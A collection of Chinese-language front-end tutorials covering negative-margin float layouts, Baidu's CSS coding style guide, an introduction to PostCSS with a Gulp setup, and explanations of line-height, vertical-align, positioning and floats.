#content {width:100%; float:left; margin-right:-200px;}
#sidebar {width:200px; float:left;}


哈哈，这样你就得到了一个简单的两列布局。它也能在IE6完美的渲染出来。现在为了让#sidebar不要被#content给掩盖，只要简单的加上：


/* Prevent text from being overlapped */

#content p {margin-right:210px;}

/* It’s 200px + 10px, the 10px being an additional margin.*/


当适当的使用的时候，负外边距能够提供一个灵活的文档结构，完爆table的布局。灵活的文档布局是一种可访问性和SEO的技巧，通过它能够让你根据你的关注点以任意顺序组织你的html代码。这里有一个文章讨论了负边距在多列布局中的应用。

微调元素

这是负外边距最常也是最简单的使用方式。假如你把第十个div插入到9个其他的div中，不知道什么原因没有正确的排列，使用负边距来调整这个div就不需要改变其他9个div了，很方便。

解决bug

文本和链接问题

在float中使用负边距可能会在旧的浏览器造成一些问题，比如下面的这些：


	让链接不可点击


	文本变得很难选择


	失去焦点的时候按tab键失效




解决方法：只要添加position:relative，就可以啦。

图片被剪切啦

如果你运气不好刚好在办公室使用IE6，当遇到覆盖和浮动的时候内容有些时候回突然被剪切掉。

解决方法：同样的只要给浮动元素加上position:relative，所有的问题就解决啦。

结论

负外边距能够在不使用任何额外标签的情况下定位元素让它在现在网页设计中占有一席之地。随着更多的用户使用更新的浏览器（包括IE8)，未来使用这些技巧的网站会变得更加有前景。

资源链接

更多关于负边距的信息可以在看下面的链接：


	Search This


	Severn Solutions





 CSS编码规范

作者：小弟调调

来源： CSS编码规范



                    
转载：原地址


1 前言


CSS作为网页样式的描述语言，在百度一直有着广泛的应用。本文档的目标是使CSS代码风格保持一致，容易被理解和被维护。


虽然本文档是针对CSS设计的，但是在使用各种CSS的预编译器(如less、sass、stylus等)时，适用的部分也应尽量遵循本文档的约定。


2 代码风格


2.1 文件


[建议] CSS 文件使用无 BOM 的 UTF-8 编码。


解释：


UTF-8 编码具有更广泛的适应性。BOM 在使用程序或工具处理文件时可能造成不必要的干扰。


2.2 缩进


[强制] 使用 4 个空格做为一个缩进层级，不允许使用 2 个空格 或 tab 字符。


示例：


css.selector {
    margin: 0;
    padding: 0;
}



2.3 空格


[强制] 选择器 与 { 之间必须包含空格。


示例：


css.selector {
}



[强制] 属性名 与之后的 : 之间不允许包含空格， : 与 属性值 之间必须包含空格。


示例：


cssmargin: 0;



[强制] 列表型属性值 书写在单行时，, 后必须跟一个空格。


示例：


cssfont-family: Arial, sans-serif;



2.4 行长度


[强制] 每行不得超过 120 个字符，除非单行不可分割。


解释：


常见不可分割的场景为URL超长。


[建议] 对于超长的样式，在样式值的 空格 处或 , 后换行，建议按逻辑分组。


示例：


css/* 不同属性值按逻辑分组 */
background:
    transparent url(aVeryVeryVeryLongUrlIsPlacedHere)
    no-repeat 0 0;

/* 可重复多次的属性，每次重复一行 */
background-image:
    url(aVeryVeryVeryLongUrlIsPlacedHere)
    url(anotherVeryVeryVeryLongUrlIsPlacedHere);

/* 类似函数的属性值可以根据函数调用的缩进进行 */
background-image: -webkit-gradient(
    linear,
    left bottom,
    left top,
    color-stop(0.04, rgb(88,94,124)),
    color-stop(0.52, rgb(115,123,162))
);



2.5 选择器


[强制] 当一个 rule 包含多个 selector 时，每个选择器声明必须独占一行。


示例：


css/* good */
.post,
.page,
.comment {
    line-height: 1.5;
}

/* bad */
.post, .page, .comment {
    line-height: 1.5;
}



[强制] >、+、~ 选择器的两边各保留一个空格。


示例：


css/* good */
main > nav {
    padding: 10px;
}

label + input {
    margin-left: 5px;
}

input:checked ~ button {
    background-color: #69C;
}

/* bad */
main>nav {
    padding: 10px;
}

label+input {
    margin-left: 5px;
}

input:checked~button {
    background-color: #69C;
}



[强制] 属性选择器中的值必须用双引号包围。


解释：


不允许使用单引号，不允许不使用引号。


示例：


css/* good */
article[character="juliet"] {
    voice-family: "Vivien Leigh", victoria, female
}

/* bad */
article[character='juliet'] {
    voice-family: "Vivien Leigh", victoria, female
}



2.6 属性


[强制] 属性定义必须另起一行。


示例：


css/* good */
.selector {
    margin: 0;
    padding: 0;
}

/* bad */
.selector { margin: 0; padding: 0; }



[强制] 属性定义后必须以分号结尾。


示例：


css/* good */
.selector {
    margin: 0;
}

/* bad */
.selector {
    margin: 0
}



3 通用


3.1 选择器


[强制] 如无必要，不得为 id、class 选择器添加类型选择器进行限定。


解释：


在性能和维护性上，都有一定的影响。


示例：


css/* good */
#error,
.danger-message {
    font-color: #c00;
}

/* bad */
dialog#error,
p.danger-message {
    font-color: #c00;
}



[建议] 选择器的嵌套层级应不大于 3 级，位置靠后的限定条件应尽可能精确。


示例：


css/* good */
#username input {}
.comment .avatar {}

/* bad */
.page .header .login #username input {}
.comment div * {}



3.2 属性缩写


[建议] 在可以使用缩写的情况下，尽量使用属性缩写。


示例：


css/* good */
.post {
    font: 12px/1.5 arial, sans-serif;
}

/* bad */
.post {
    font-family: arial, sans-serif;
    font-size: 12px;
    line-height: 1.5;
}



[建议] 使用 border / margin / padding 等缩写时，应注意隐含值对实际数值的影响，确实需要设置多个方向的值时才使用缩写。


解释：


border / margin / padding 等缩写会同时设置多个属性的值，容易覆盖不需要覆盖的设定。如某些方向需要继承其他声明的值，则应该分开设置。


示例：


css/* centering <article class="page"> horizontally and highlight featured ones */
article {
    margin: 5px;
    border: 1px solid #999;
}

/* good */
.page {
    margin-right: auto;
    margin-left: auto;
}

.featured {
    border-color: #69c;
}

/* bad */
.page {
    margin: 5px auto; /* introducing redundancy */
}

.featured {
    border: 1px solid #69c; /* introducing redundancy */
}



3.3 属性书写顺序


[建议] 同一 rule set 下的属性在书写时，应按功能进行分组，并以 Formatting Model（布局方式、位置） > Box Model（尺寸） > Typographic（文本相关） > Visual（视觉效果） 的顺序书写，以提高代码的可读性。


解释：



	Formatting Model 相关属性包括：position / top / right / bottom / left / float / display / overflow 等

	Box Model 相关属性包括：border / margin / padding / width / height 等

	Typographic 相关属性包括：font / line-height / text-align / word-wrap 等

	Visual 相关属性包括：background / color / transition / list-style 等



另外，如果包含 content 属性，应放在最前面。


示例：


css.sidebar {
    /* formatting model: positioning schemes / offsets / z-indexes / display / ...  */
    position: absolute;
    top: 50px;
    left: 0;
    overflow-x: hidden;

    /* box model: sizes / margins / paddings / borders / ...  */
    width: 200px;
    padding: 5px;
    border: 1px solid #ddd;

    /* typographic: font / aligns / text styles / ... */
    font-size: 14px;
    line-height: 20px;

    /* visual: colors / shadows / gradients / ... */
    background: #f5f5f5;
    color: #333;
    -webkit-transition: color 1s;
       -moz-transition: color 1s;
            transition: color 1s;
}



3.4 清除浮动


[建议] 当元素需要撑起高度以包含内部的浮动元素时，通过对伪类设置 clear 或触发 BFC 的方式进行 clearfix。尽量不使用增加空标签的方式。


解释：


触发 BFC 的方式很多，常见的有：



	float 非 none

	position 非 static

	overflow 非 visible



如希望使用更小副作用的清除浮动方法，参见 A new micro clearfix hack 一文。


另需注意，对已经触发 BFC 的元素不需要再进行 clearfix。


3.5 !important


[建议] 尽量不使用 !important 声明。


[建议] 当需要强制指定样式且不允许任何场景覆盖时，通过标签内联和 !important 定义样式。


解释：


必须注意的是，仅在设计上 确实不允许任何其它场景覆盖样式 时，才使用内联的 !important 样式。通常在第三方环境的应用中使用这种方案。下面的 z-index 章节是其中一个特殊场景的典型样例。


3.6 z-index


[建议] 将 z-index 进行分层，对文档流外绝对定位元素的视觉层级关系进行管理。


解释：


同层的多个元素，如多个由用户输入触发的 Dialog，在该层级内使用相同的 z-index 或递增 z-index。


建议每层包含100个 z-index 来容纳足够的元素，如果每层元素较多，可以调整这个数值。


[建议] 在可控环境下，期望显示在最上层的元素，z-index 指定为 999999。


解释：


可控环境分成两种，一种是自身产品线环境；还有一种是可能会被其他产品线引用，但是不会被外部第三方的产品引用。


不建议取值为 2147483647。以便于自身产品线被其他产品线引用时，当遇到层级覆盖冲突的情况，留出向上调整的空间。


[建议] 在第三方环境下，期望显示在最上层的元素，通过标签内联和 !important，将 z-index 指定为 2147483647。


解释：


第三方环境对于开发者来说完全不可控。在第三方环境下的元素，为了保证元素不被其页面其他样式定义覆盖，需要采用此做法。


4 值与单位


4.1 文本


[强制] 文本内容必须用双引号包围。


解释：


文本类型的内容可能在选择器、属性值等内容中。


示例：


css/* good */
html[lang|="zh"] q:before {
    font-family: "Microsoft YaHei", sans-serif;
    content: "“";
}

html[lang|="zh"] q:after {
    font-family: "Microsoft YaHei", sans-serif;
    content: "”";
}

/* bad */
html[lang|=zh] q:before {
    font-family: 'Microsoft YaHei', sans-serif;
    content: '“';
}

html[lang|=zh] q:after {
    font-family: "Microsoft YaHei", sans-serif;
    content: "”";
}



4.2 数值


[强制] 当数值为 0 - 1 之间的小数时，省略整数部分的 0。


示例：


css/* good */
panel {
    opacity: .8
}

/* bad */
panel {
    opacity: 0.8
}



4.3 url()


[强制] url() 函数中的路径不加引号。


示例：


cssbody {
    background: url(bg.png);
}



[建议] url() 函数中的绝对路径可省去协议名。


示例：


cssbody {
    background: url(//baidu.com/img/bg.png) no-repeat 0 0;
}



4.4 长度


[强制] 长度为 0 时须省略单位。 (也只有长度单位可省)


示例：


css/* good */
body {
    padding: 0 5px;
}

/* bad */
body {
    padding: 0px 5px;
}



4.5 颜色


[强制] RGB颜色值必须使用十六进制记号形式 #rrggbb。不允许使用 rgb()。


解释：


带有alpha的颜色信息可以使用 rgba()。使用 rgba() 时每个逗号后必须保留一个空格。


示例：


css/* good */
.success {
    box-shadow: 0 0 2px rgba(0, 128, 0, .3);
    border-color: #008000;
}

/* bad */
.success {
    box-shadow: 0 0 2px rgba(0,128,0,.3);
    border-color: rgb(0, 128, 0);
}



[强制] 颜色值可以缩写时，必须使用缩写形式。


示例：


css/* good */
.success {
    background-color: #aca;
}

/* bad */
.success {
    background-color: #aaccaa;
}



[强制] 颜色值不允许使用命名色值。


示例：


css/* good */
.success {
    color: #90ee90;
}

/* bad */
.success {
    color: lightgreen;
}



[建议] 颜色值中的英文字符采用小写。如不用小写也需要保证同一项目内保持大小写一致。


示例：


css/* good */
.success {
    background-color: #aca;
    color: #90ee90;
}

/* good */
.success {
    background-color: #ACA;
    color: #90EE90;
}

/* bad */
.success {
    background-color: #ACA;
    color: #90ee90;
}



4.6 2D 位置


[强制] 必须同时给出水平和垂直方向的位置。


解释：


2D 位置初始值为 0% 0%，但在只有一个方向的值时，另一个方向的值会被解析为 center。为避免理解上的困扰，应同时给出两个方向的值。background-position属性值的定义


示例：


css/* good */
body {
    background-position: center top; /* 50% 0% */
}

/* bad */
body {
    background-position: top; /* 50% 0% */
}



5 文本编排


5.1 字体族


[强制] font-family 属性中的字体族名称应使用字体的英文 Family Name，其中如有空格，须放置在引号中。


解释：


所谓英文 Family Name，为字体文件的一个元数据，常见名称如下：




	字体
  	操作系统
  	Family Name





	宋体 (中易宋体)
  	Windows
  	SimSun



	黑体 (中易黑体)
  	Windows
  	SimHei



	微软雅黑
  	Windows
  	Microsoft YaHei



	微软正黑
  	Windows
  	Microsoft JhengHei



	华文黑体
  	Mac/iOS
  	STHeiti



	冬青黑体
  	Mac/iOS
  	Hiragino Sans GB



	文泉驿正黑
  	Linux
  	WenQuanYi Zen Hei



	文泉驿微米黑
  	Linux
  	WenQuanYi Micro Hei





示例：


cssh1 {
    font-family: "Microsoft YaHei";
}



[强制] font-family 按「西文字体在前、中文字体在后」、「效果佳 (质量高/更能满足需求) 的字体在前、效果一般的字体在后」的顺序编写，最后必须指定一个通用字体族( serif / sans-serif )。


解释：


更详细说明可参考本文。


示例：


css/* Display according to platform */
.article {
    font-family: Arial, sans-serif;
}

/* Specific for most platforms */
h1 {
    font-family: "Helvetica Neue", Arial, "Hiragino Sans GB", "WenQuanYi Micro Hei", "Microsoft YaHei", sans-serif;
}



[强制] font-family 不区分大小写，但在同一个项目中，同样的 Family Name 大小写必须统一。


示例：


css/* good */
body {
    font-family: Arial, sans-serif;
}

h1 {
    font-family: Arial, "Microsoft YaHei", sans-serif;
}

/* bad */
body {
    font-family: arial, sans-serif;
}

h1 {
    font-family: Arial, "Microsoft YaHei", sans-serif;
}



5.2 字号


[强制] 需要在 Windows 平台显示的中文内容，其字号应不小于 12px。


解释：


由于 Windows 的字体渲染机制，小于 12px 的文字显示效果极差、难以辨认。


5.3 字体风格


[建议] 需要在 Windows 平台显示的中文内容，不要使用除 normal 外的 font-style。其他平台也应慎用。


解释：


由于中文字体没有 italic 风格的实现，所有浏览器下都会 fallback 到 obilique 实现 (自动拟合为斜体)，小字号下 (特别是 Windows 下会在小字号下使用点阵字体的情况下) 显示效果差，造成阅读困难。


5.4 字重


[强制] font-weight 属性必须使用数值方式描述。


解释：


CSS 的字重分 100 – 900 共九档，但目前受字体本身质量和浏览器的限制，实际上支持 400 和 700 两档，分别等价于关键词 normal 和 bold。


浏览器本身使用一系列启发式规则来进行匹配，在 =700 时匹配 Bold 字重。


但已有浏览器开始支持 =600 时匹配 Semibold 字重 (见此表)，故使用数值描述增加了灵活性，也更简短。


示例：


css/* good */
h1 {
    font-weight: 700;
}

/* bad */
h1 {
    font-weight: bold;
}



5.5 行高


[建议] line-height 在定义文本段落时，应使用数值。


解释：


将 line-height 设置为数值，浏览器会基于当前元素设置的 font-size 进行再次计算。在不同字号的文本段落组合中，能达到较为舒适的行间间隔效果，避免在每个设置了 font-size 都需要设置 line-height。


当 line-height 用于控制垂直居中时，还是应该设置成与容器高度一致。


示例：


css.container {
    line-height: 1.5;
}



6 变换与动画


[强制] 使用 transition 时应指定 transition-property。


示例：


css/* good */
.box {
    transition: color 1s, border-color 1s;
}

/* bad */
.box {
    transition: all 1s;
}



[建议] 尽可能在浏览器能高效实现的属性上添加过渡和动画。


解释：


见本文，在可能的情况下应选择这样四种变换：



	transform: translate(npx, npx);

	transform: scale(n);

	transform: rotate(ndeg);

	opacity: 0..1;



典型的，可以使用 translate 来代替 left 作为动画属性。


示例：


css/* good */
.box {
    transition: transform 1s;
}
.box:hover {
    transform: translate(20px); /* move right for 20px */
}

/* bad */
.box {
    left: 0;
    transition: left 1s;
}
.box:hover {
    left: 20px; /* move right for 20px */
}



7 响应式


[强制] Media Query 不得单独编排，必须与相关的规则一起定义。


示例：


css/* Good */
/* header styles */
@media (...) {
    /* header styles */
}

/* main styles */
@media (...) {
    /* main styles */
}

/* footer styles */
@media (...) {
    /* footer styles */
}


/* Bad */
/* header styles */
/* main styles */
/* footer styles */

@media (...) {
    /* header styles */
    /* main styles */
    /* footer styles */
}



[强制] Media Query 如果有多个逗号分隔的条件时，应将每个条件放在单独一行中。


示例：


css@media
(-webkit-min-device-pixel-ratio: 2), /* Webkit-based browsers */
(min--moz-device-pixel-ratio: 2),    /* Older Firefox browsers (prior to Firefox 16) */
(min-resolution: 2dppx),             /* The standard way */
(min-resolution: 192dpi) {           /* dppx fallback */
    /* Retina-specific stuff here */
}



[建议] 尽可能给出在高分辨率设备 (Retina) 下效果更佳的样式。


8 兼容性


8.1 属性前缀


[强制] 带私有前缀的属性由长到短排列，按冒号位置对齐。


解释：


标准属性放在最后，按冒号对齐方便阅读，也便于在编辑器内进行多行编辑。


示例：


css.box {
    -webkit-box-sizing: border-box;
       -moz-box-sizing: border-box;
            box-sizing: border-box;
}



8.2 Hack


[建议] 需要添加 hack 时应尽可能考虑是否可以采用其他方式解决。


解释：


如果能通过合理的 HTML 结构或使用其他的 CSS 定义达到理想的样式，则不应该使用 hack 手段解决问题。通常 hack 会导致维护成本的增加。


[建议] 尽量使用 选择器 hack 处理兼容性，而非 属性 hack。


解释：


尽量使用符合 CSS 语法的 selector hack，可以避免一些第三方库无法识别 hack 语法的问题。


示例：


css/* IE 7 */
*:first-child + html #header {
    margin-top: 3px;
    padding: 5px;
}

/* IE 6 */
* html #header {
    margin-top: 5px;
    padding: 4px;
}



[建议] 尽量使用简单的 属性 hack。


示例：


css.box {
    _display: inline; /* fix double margin */
    float: left;
    margin-left: 20px;
}

.container {
    overflow: hidden;
    *zoom: 1; /* triggering hasLayout */
}



8.3 Expression


[强制] 禁止使用 Expression。


 在 CSS 预编译器之后：PostCSS

作者：EdwardUp

来源： 在 CSS 预编译器之后：PostCSS



                    
提到css预编译器（css preprocessor），你可能想到Sass[]以及[Stylus][]。而本文要介绍的PostCSS，正是一个这样的工具：css预编译器可以做到的事，它同样可以做到。

“你说的我都懂，那为什么要用它？”

套装与单件

如果Sass等预编译器是新定义了一种模板语言，然后将其转化为css的话，[PostCSS][]则是更纯粹地对css本身做转换。

回想一下你是如何学习使用css预编译器的：了解到有这样一种可以转化为css的语言，它有很多特性，变量、嵌套、继承等等，每一种特性都通过一定语法实现。大概就像是递给你一个已经封装好的工具箱（量产型？），你可以在里面找有用的东西。

那PostCSS是怎样呢？PostCSS就像只递给你一个盒子，但告诉你你可以从旁边的陈列柜取走自己想要的工具放进盒子打包带走。如果你觉得陈列柜里的不够好，PostCSS还可以帮你打造你自己的工具。所以，使用PostCSS，你可以仅取所需。



这就是PostCSS的模块化（modular）风格。它作为一个css转换工具，自身很小，其所有的转换功能都是插件，因此可以个性化配置。

PostCSS的简要原理

PostCSS自身只包括css分析器，css节点树API，source map生成器以及css节点树拼接器。

css的组成单元是一条一条的样式规则（rule），每一条样式规则又包含一个或多个属性&值的定义。所以，PostCSS的执行过程是，先css分析器读取css字符内容，得到一个完整的节点树，接下来，对该节点树进行一系列转换操作（基于节点树API的插件），最后，由css节点树拼接器将转换后的节点树重新组成css字符。期间可生成source map表明转换前后的字符对应关系：



比较有意思的是，PostCSS的插件其实都是JavaScript函数，它们使用PostCSS的节点树API，对css节点树进行不同的转换。

插件预览

所有插件都可以在[PostCSS的主页][]中查询到，这里只选取一小部分示意一下。

Autoprefixer

PostCSS最有名的插件是Autoprefixer[]及你设定的浏览器支持范围，因此相当可靠。下面是一个示例（以我设定的浏览器支持范围）：

.container{
    display: flex;
}


编译后：

.container{
    display: -webkit-box;
    display: -webkit-flex;
    display: -ms-flexbox;
    display: flex;
}


postcss-nested&postcss-mixins

在刚开始使用PostCSS时，我就想到要用PostCSS实现我在Sass中最常用的特性。所以，我找到了postcss-nested和postcss-mixins。将它们结合起来后，就可以做到这样：

@define-mixin clearfix{
    &:after{
        display: table;
        clear: both;
        content: " ";
    }
}

.column-container{
    color: #333;
    @mixin clearfix;
}


编译后：

.column-container{
    color: #333;
}

.column-container:after{
    display: table;
    clear: both;
    content: " ";
}


到这里，你是否已经有了“预编译器可以做到的它也可以做到”的感觉呢？

如何使用PostCSS

我个人推荐结合Gulp[]的用法。

gulp-postcss及插件都是[npm][]，首先，使用npm install将它们分别安装到项目目录中（会位于node_modules）。然后，编辑glupfile.js，将PostCSS注册为Gulp的一个任务。以下是一个结合使用了Autoprefixer、postcss-simple-vars、postcss-mixins、postcss-nested4个插件，且生成source map文件的例子：

var gulp = require("gulp");
var postcss = require("gulp-postcss");
var autoprefixer = require('autoprefixer-core');
var postcssSimpleVars = require("postcss-simple-vars");
var postcssMixins = require("postcss-mixins");
var postcssNested = require("postcss-nested");
var sourcemaps = require("gulp-sourcemaps");

// Css process.
gulp.task("postcss", function(){
    var processors = [
        postcssMixins,
        postcssSimpleVars,
        postcssNested,
        autoprefixer({
            browsers: ["Android 4.1", "iOS 7.1", "Chrome > 31", "ff > 31", "ie >= 10"]
        })];

    return gulp.src(["./stylesheets/src/*.css"])
        .pipe(sourcemaps.init())
        .pipe(postcss(processors))
        .pipe(sourcemaps.write("."))
        .pipe(gulp.dest("./stylesheets/dest"));
});


在上面这段代码中，processors是一个数组，定义了用到的PostCSS插件。PostCSS会按照定义顺序依次执行插件，因此，在结合多个插件使用时，请注意它们的位置。

自定义转换

此外，你可以很容易地创建你自己的转换（还记得前面说过PostCSS的插件都是JavaScript函数吧？）。例如，下面是一个自定义的转换方法，它将css代码中的带有rem单位的值，更改为px的值。

var custom = function(css, opts){
    css.eachDecl(function(decl){
        decl.value = decl.value.replace(/\d+rem/, function(str){
            return 16 * parseFloat(str) + "px";
        });
    });
};


然后，你将这个方法直接添加到processors中（就像postcssMixins那些那样）就可以使用。如果原来有值是3rem，将变成48px。

以上只是一个简单的转换，如果要正式做一个插件，请参考[PostCSS插件指南][]。

性能

PostCSS宣称，由JavaScript编写的PostCSS比C++编写的[libsass][]（Sass原本是Ruby编写的，但后来出了C++的引擎，也就是libsass，它更快）还要快3倍。这里的具体数字我觉得不用多关心，可以感受到“PostCSS的运行速度很快”就足够了。

实际运行起来大概这样：



做到更多

基于PostCSS，可以做到许多现有的css预编译器做不到的事。例如，插件系列[cssnext][]可以让你使用CSS4+的语法（增加了变量等许多特性），它会帮你转化为目前可用的CSS3。

一点问题

PostCSS有一个问题，那就是它是零散的，所以我无法找到一个编辑器能正确地解析并高亮准备使用PostCSS的css代码。例如在WebStorm中我把它当做普通的css文件，结果就会收到很多红色的错误提示。

所以，css预编译器过时了吗？

当然不会。就像其他流行的框架和工具那样，css预编译器是已经验证过的可用工具，我们完全可以根据需要选用。

Sass等css预编译器的特点是成熟可靠。一方面，它们已经是流行的模板语言，有完善的文档和周边支持，相对稳定，新加入团队的人也能比较容易地理解。另一方面，集成的风格有它的方便之处，就像你可能会懒得去组装一个模型，但能找到专业的人替你完成。

PostCSS的特点则是模块化。从长远来看，PostCSS可以做到更多类型的css转换。而可定制的风格非常适合追求个性的人（更快捷，而且可以自己做出很有趣的插件）。

此外，css预编译器和PostCSS可以协同使用。有一个流行的用法就是Sass编译后再接PostCSS的Autoprefixer（毕竟这是PostCSS的招牌插件）。

结语

PostCSS的风格可以说是在打造一个改变css开发方式的生态系统。所以如果说到未来，还是挺期待的。

（重新编辑自我的博客，原文地址：http://acgtofe.com/posts/2015/05/modular-transforming-with-postcss）
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前言


通常情况下，要使元素排列在一行内，通常做法就是使用float，然后再清浮动。

如下：



但是如果要使其垂直居中，则必须手动调整，蓝色或者绿色块的位置，比较繁琐。


或者另外一种方法，使用inline-block或inline（即IFC），刚好在这里碰到了点坑。


相关css


IFC（Inline formatting contexts）内联格式上下文 ╮(￣▽￣)╭

主要影响IFC内布局的css



	font-size

	line-height

	height

	vertical-aligin



line-box


行盒模型，这是一个显示区域，根据块状容器内，每一行的多个内联元素（inline-level element）都会共同生成一个行盒模型。


font-size


常见的属性，用来指定文本类型节点的大小。IFC内的很多属性的值是基于这个的。


line-height & height


行高在w3c中更明确的定义：



  On a block container element whose content is composed of inline-level elements, 'line-height' specifies the minimal height of line boxes within the element.The minimum height consists of a minimum height above the baseline and a minimum depth below it。





  在一个由多个内联元素组成的块状容器内，'line-height'为内联元素的行盒模型指定了一个最低高度。

  这个最低高度是分别由基线上的最小高度和基线下的最小深度组成。




盗张图的来示意下，从上到下四条线分别是顶线、中线、基线、底线。

那么行高是指上下文本行的基线间的垂直距离，即图中两条红线间垂直距离（实际在数值上，行高也等于其它相同颜色间的距离）。





换种思路来理解下行高。

实际上很多情况下，一个容器中是只有一行的即只有一条基线，行高是如何计算，以确保这个间距呢?

如下：





蓝色是容器的范围，边界线之间是一个line box。文字其中的内联元素。


所以，


当line-height > font-size时


一个为被设定高度的容器被设定一个行高时，内联元内容的上下会增加2个空白内容的高度。而容器的高度也会撑开，使容器的高度与line-height相等。



  a1 + b1 +c1 == line-height  &  a1 == c1




如果容器的高度已经被设定，那么超出容器下边界线的部分则不影响布局。


当line-height < font-size时，


容器未被指定高度时，容器的上下两侧塌陷(类似于margin为负值的情况)，但上述公式仍成立。



  a1（负值） + b1 + c1(负值) == line-height  &  a1 == c1




如下所示:





白色是塌陷的部分(即 a1 和 c1)，红色是line-height，如果把容器设置为 overflow:hidden,

那么就只能看见红色的部分。


如果容器被指定height高度时，



  height > line-height，那么黄线会下移，红色部分会展示更多，

    height < line-height，那么黄线会上移，红色的部分被遮盖的更多了。




所以在这里的情况是，



  决定容器高度的优先级 height > line-height > font-size




vertical-align


垂直对齐线，默认为baselien，来自W3C的定义：



  This property affects the vertical positioning inside a line box of the boxes generated by an inline-level element.





  该属性影响由多个内联元素生成的盒模型组成的行内盒模型的垂直定位




vertical有几个特定的值，或者指定一个值。


<p class="a1">
  <span style="vertical-align:60px;">
    English中文
  </span>
  <span>
    中文English
  </span>
</p>



给第一个span，设置60px的垂直偏移量，显示如下：





其中，黄色线就是基线（baseline），绿线和黄线的间隔即为60px。

这里会发现，容器（蓝色）的高度被撑高了。



  容器的高度 height = line-height + vertical-align




当然同理,如果容器的高度被指定了，那么高度则不变，而超出的部分则不影响布局。如果设置overflow:hidden，超过的部分则不可见。


而vertical-align的其它特殊值，均可以看做一个根据容器高度而变化的相对值。


结论


熟练使用inline-level element和行内布局的属性，以非常快速完成垂直居中和水平居中的效果，并且有良好的可维护性和拓展性。


参考


W3C IFC
W3C line-height和vertical-aligin
line-height详解
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概览

CSS 为定位和浮动提供了一些属性，利用这些属性，可以建立各种布局，极大提高HTML页面的表现力。

定位的基本思想很简单，它允许你定义元素框相对于其正常位置应该出现的位置，或者相对于父元素，或者另一个元素甚至浏览器窗口本身的位置。

CSS 有三种基本的定位机制：


	普通流，包含默认定位（static）和相对定位（relative）。


	浮动 float.


	绝对定位，包含 absolute 和 fixed.




一切皆为框

在 CSS 盒模型 一文中简单的认识了元素框的概念（主要是块框），这里再进行部分补充。

div、h1 或 p 元素常常被称为 块级元素 。这意味着这些元素显示为一块内容，即 块框 。与之相反，span 和 strong 等元素称为 行内元素，这是因为它们的内容显示在行中，即 行内框。不过，您可以使用 display 属性改变生成的框的类型。

还有一种框叫 无名框。这种情况发生在把一些文本添加到一个块级元素（比如 div）中。假设有一个包含三行文本的段落，每行文本形成一个 无名框。

<div>
some text - 无名框
<p>
Some more text. - 无名框
<br>
Some more test. - 无名框
<span>google</span> - 行内框
<br>
Some more test. - 无名框
</p>
</div>

在HTML默认布局中，块框从上到下一个接一个地排列，框之间的垂直距离是由框的垂直外边距计算出来（注意外边距值合并的情况）。

行内框在一行中水平布置。可以使用水平内边距、边框和外边距调整它们的间距。但是，垂直内边距、边框和外边距不影响行内框的高度。

引用 张鑫旭 文章中对框的描述：

<p>这是一行普通的文字，这里有个 <em>em</em> 标签。</p>


这段HTML代码涉及到四种 boxes:


	首先是 p 标签所在的 containing box,此box包含了其他的boxes;


	然后就是 inline boxes,如图标注；





被标签包围的叫行内框，如果是光秃秃的文字，则属于匿名行内框（无名框）。

	line boxes，见下图标注；





在 containing boxes 里，一个一个的 inline boxes 组成了 line boxes。

	content area，见下图标注；





content area 是一种围绕文字看不见的box。content area 的大小与 font-size 大小相关。

定位 position


position 属性规定元素的定位类型。有以下 5 种值可供选择。



	值
	描述



	absolute
	
<p>生成绝对定位的元素，相对于 static 定位以外的第一个父元素进行定位。</p>
<p>元素的位置通过 left, top, right 以及 bottom 属性进行规定。</p>




	fixed
	
<p>生成绝对定位的元素，相对于浏览器窗口进行定位。</p>
<p>元素的位置通过 left, top, right 以及 bottom 属性进行规定。</p>




	relative
	
<p>生成相对定位的元素，相对于其正常位置进行定位。</p>
<p>元素的位置通过 left, top, right 以及 bottom 属性进行规定。</p>




	static
	默认值。没有定位，元素出现在正常的流中（忽略 left, top, right, bottom 以及 z-index 声明）。



	inherit
	从父元素继承，IE8之前不支持。





任何元素都可以定位，不过 absolute 或 fixed 会生成一个块级框，而不论该元素本身是什么类型。相对定位元素会相对于它在正常流中的默认位置偏移。

绝对定位 absolute


元素框从文档流完全删除，并相对于其包含块定位。元素定位后生成一个块级框，而不论原来它在正常流中是何种类型的框。

绝对定位的元素的位置相对于 最近的已定位祖先元素（这里的已定位元素指除 static默认定位的其余三种），如果元素没有已定位的祖先元素，那么它的位置相对于 最初的包含块。

#box2 {
    position: absolute;
    left: 30px;
    top: 20px;
}



因为绝对定位的框与文档流无关，所以它们可以覆盖页面上的其它元素。可以通过设置 z-index 属性来控制这些框的堆放次序。

固定定位 fixed


固定定位类似于将 position 设置为 absolute，不过其包含块是视窗本身。

fixed 是一种特殊的绝对定位，对其设置的偏移量永远是相对于视窗本身。我们常见到的导航条固定在页面顶部，回到页面顶部按钮基本都是采用此定位方式。

div#top {
    position: fixed;
    right: 5px;
    bottom: 5px;
}

同样可以通过设置 z-index 属性来控制这些框的堆放次序。

相对定位 relative


元素仍保持其未定位前的形状，它原本所占的空间仍保留。



在使用相对定位时，无论是否进行移动，元素仍然占据原来的空间。同样可以通过设置 z-index 属性来控制这些框的堆放次序。

默认定位 static


元素框正常生成，按框类型正常定位。

浮动 float


浮动的框可以向左或向右移动，直到它的外边缘碰到 包含框或 另一个浮动框的边框为止。

浮动和绝对定位类似（由于其是否脱离文档流存在争议故这里避而不谈），可能会覆盖掉页面正常的框。

向右浮动，原来的空间被其他框所占用。



向左浮动，覆盖其他框。



三个框都浮动，后面的框碰着前一个框的边框顺序排列。



当一行无法容纳下完整的一个框时，自动从下一行依次排列。



如果一行中无法容纳所有浮动框，后面的框会从下一行依次排列，排列起始位置取决于第一行已经排好的框的高度，以已经排好的行的最后一个框的高度为基准，从后往前找比此基准高的框，如果找到则起始位置为找到的这个框的下一个框的下面，如果没有找到比此基准高的框则从第一个往后排，始终保证新一行所有框的顶部与基准框的底部处于同一水平线上。（语言描述太麻烦了，我自己看都快晕了，看图吧）



图中第一行为排好的，其中框一高度最大，框三次之，其余三个高度相同，以框五为基准，往前找比框五大的，找到了框三，第二行第一个位置即为框四的下面（框三的下一个），框六，框七的顶部与框五的底部保持同一水平线（即使框四的高度小于80px,也应该同框五底部保持一致），框八以框七为基准继续往前找。

我们上面也说了，浮动可能会覆盖别的框，但有例外。

当行框与浮动框相遇时，浮动框旁边的行框被缩短，从而给浮动框留出空间，行框围绕浮动框，这里的行框也仅限于普通文档流中的行框（绝对定位中的文本还是会被覆盖的）。



浮动框确实覆盖了p元素框，但是文本没有被覆盖，换句话说就是行框被缩短。

有时我们仅仅希望使用浮动来进行文档布局，浮动元素的尺寸仍然保留，这就需要用到浮动清除（clear）了。

